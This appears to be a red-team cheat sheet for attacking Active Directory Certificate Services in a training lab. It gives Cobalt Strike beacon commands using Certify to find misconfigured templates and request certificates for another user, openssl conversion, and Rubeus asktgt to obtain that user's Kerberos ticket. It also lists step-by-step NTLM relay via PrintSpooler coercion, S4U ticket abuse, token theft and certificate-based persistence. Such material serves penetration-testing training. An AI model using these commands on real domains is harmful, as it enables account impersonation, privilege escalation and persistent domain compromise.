githubEdit

Active Directory Certificate Services (ADCS)

Active Directory Certificate Services (ADCS)

Enumerate ADCS

Finding Certificate Authorities

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas

Miconfigured Certificate template

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable

Attack Case 1: ENROLLEE_SUPPLIES_SUBJECT

beacon> getuid
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:CustomUser /altname:nlamb

ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIIM7w[...]ECAggA /password:<password> /nowrap

Attack Case 2 : NTLMRelay on CA web endpoint

NTLM Relaying to ADCS HTTP Endpoints

  • Web End point for certificate services is at http[s]:///certsrv.

  • Redirect the NTLM auth traffic using PrintSpool attack from DC to CA (if services running on seperate system) to fetch the DC Certificate

  • But if they are both running on same server then we can execute the attack targetting a system where unconstrained delegation (WEB) is allowed, and force it to authenticate with CA to capture its certificate

  • Do the same setup for ntlmrelayx and use print spooler to force DC/WEB to authenticate with wkstn2

  1. Setup socks proxy (beacon session)

  2. Setup Proxychains to use this proxy

  3. Execute NTLMRelayx to target the certificate server endpoint

  4. Setup reverse port forwarding (System shell)

  5. Upload PortBender driver and load its cna file (System shell)

  6. Use PrintSpool attack to force WEB (unconstrained) server to authenticate with wkstn 2 (Domain Sesion)

  7. Use the Base64 encoded machine certificate obtained to get TGT of machine account

  8. Use the TGT ticket obtained for S4U attack to get a service ticket

  9. Inject the Service Ticket by creating a new sacrificial token

  10. Steal token and access the service

ADCS Persistence

User Persistance

  1. Enumerate user certificate from their Personal Certificate store (execute from user session)

  2. Export the certificate as DER and PFX file on disk

  3. Encode the PFX file to be used with Rubeus

  4. Use certificate to request TGT for the user (/enctype:aes256 - Better OPSEC)

  5. if certificate is not present then requst from his loggedin session and then follow above steps

Computer Persistance

  1. Export the machine certificate (requires elevated session)

  2. Encode the certificate, and use it to get TGT for machine account

  3. If machine certificate it not stored, we can requet it using Certify (/machine param is required for auto elevation to system privilege)

Last updated